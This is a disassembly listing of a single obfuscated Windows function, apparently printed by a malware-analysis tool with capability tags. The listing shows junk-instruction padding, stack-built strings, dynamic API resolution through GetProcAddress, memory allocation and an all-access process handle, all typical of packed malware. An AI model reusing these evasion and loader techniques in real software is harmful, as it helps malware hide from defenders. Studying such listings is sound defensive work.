Function at 0x403990
Capabilities:
Accept command line arguments
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
pushfd
push edx
btr edx, 0xc
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
pushal
mov ebx, esp
push 0
push 0x6c6c642e
pushfd
push esi
shl esi, 0xa
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
call fcn.00403d86
pop esi
jmp 0x4039e7
push 0xfa916c64
sub dword [esp], 0xc85dffff
pushfd
push edx
rcr edx, 0xa
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pcmpgtw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0xd122656a
sub dword [esp], 0x62afffff
pushfd
push eax
sar eax, 0x1c
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push esi
call fcn.00403d86
pop esi
jmp 0x403a46
push esp
call sub.KERNEL32.DLL_GetModuleHandleA
mov edi, eax
pushfd
push eax
shl eax, 8
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psubw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0xbea1ffff
mov dword [esp], 0xbed28c9a
xor dword [esp], 0xbea1ffff
push 0xd355ffff
mov dword [esp], 0xb03a8daf
xor dword [esp], 0xd355ffff
pushfd
push edx
rol edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
push ebx
pushfd
cmovl edx, ebx
popfd
pop ebx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0x9151ffff
mov dword [esp], 0xff348fb0
xor dword [esp], 0x9151ffff
push esp
push edi
call sub.KERNEL32.DLL_GetProcAddress
mov edx, edi
mov edi, eax
pushfd
push esi
btc esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
push ebx
pushfd
cmp ebx, ebx
popfd
pop ebx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
pushfd
push esi
rcl esi, 0xe
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psrlq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push ebx
mov dword [esp], 0x61f76564
add dword [esp], 0x117bffff
push esi
mov dword [esp], 0x79ea5064
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0xa77ffff
pop esi
push 0x5dc16e68
sub dword [esp], 0xe95fffff
pushfd
push esi
sar esi, 1
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fptan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push eax
mov dword [esp], 0x1eb46555
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x4ebdffff
pop eax
push esp
push edx
call sub.KERNEL32.DLL_GetProcAddress
mov esi, eax
pushfd
push esi
rcr esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
push ecx
pushfd
cmovp ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov esp, ebx
pushfd
push eax
sar eax, 0x19
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
push esi
pushfd
cmovle ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov ebx, esi
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 8], eax
pushfd
push eax
shl eax, 9
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
call fcn.00403d86
pop esi
jmp 0x403bf5
push dword [ebp - 8]
push 1
call fcn.00415cd0
cmp eax, 1
pushfd
push ecx
shl ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
packsswb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
jne 0x403d83
push dword [ebp - 8]
call fcn.00415db4
pushfd
push ebx
shl ebx, 0x1b
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push esi
call fcn.00403d86
pop esi
jmp 0x403c56
push eax
pushfd
push ebx
rol ebx, 0x1f
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
call fcn.00403d86
pop esi
jmp 0x403c84
push 0
push 0x1f0fff
pushfd
push eax
rcr eax, 0x12
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push esi
call fcn.00403d86
pop esi
jmp 0x403cb8
call edi
mov esi, eax
pushfd
push edx
rol edx, 0xa
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
push esi
pushfd
cmovno edx, esi
popfd
pop esi
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
pushfd
push edx
rol edx, 0x1c
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fucom st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push esi
call ebx
pushfd
push ebx
btr ebx, 0x1a
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0xffffffffffffffff
push esi
call sub.KERNEL32.DLL_WaitForSingleObject
push esi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push eax
rcr eax, 0xf
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
call fcn.00403d86
pop esi
jmp 0x403d50
mov dword [0x421427], 1
pushfd
push edx
bts edx, 0x18
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fprem
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0x8000
push 0
push dword [ebp - 8]
call sub.KERNEL32.DLL_VirtualFree
popal
leave
ret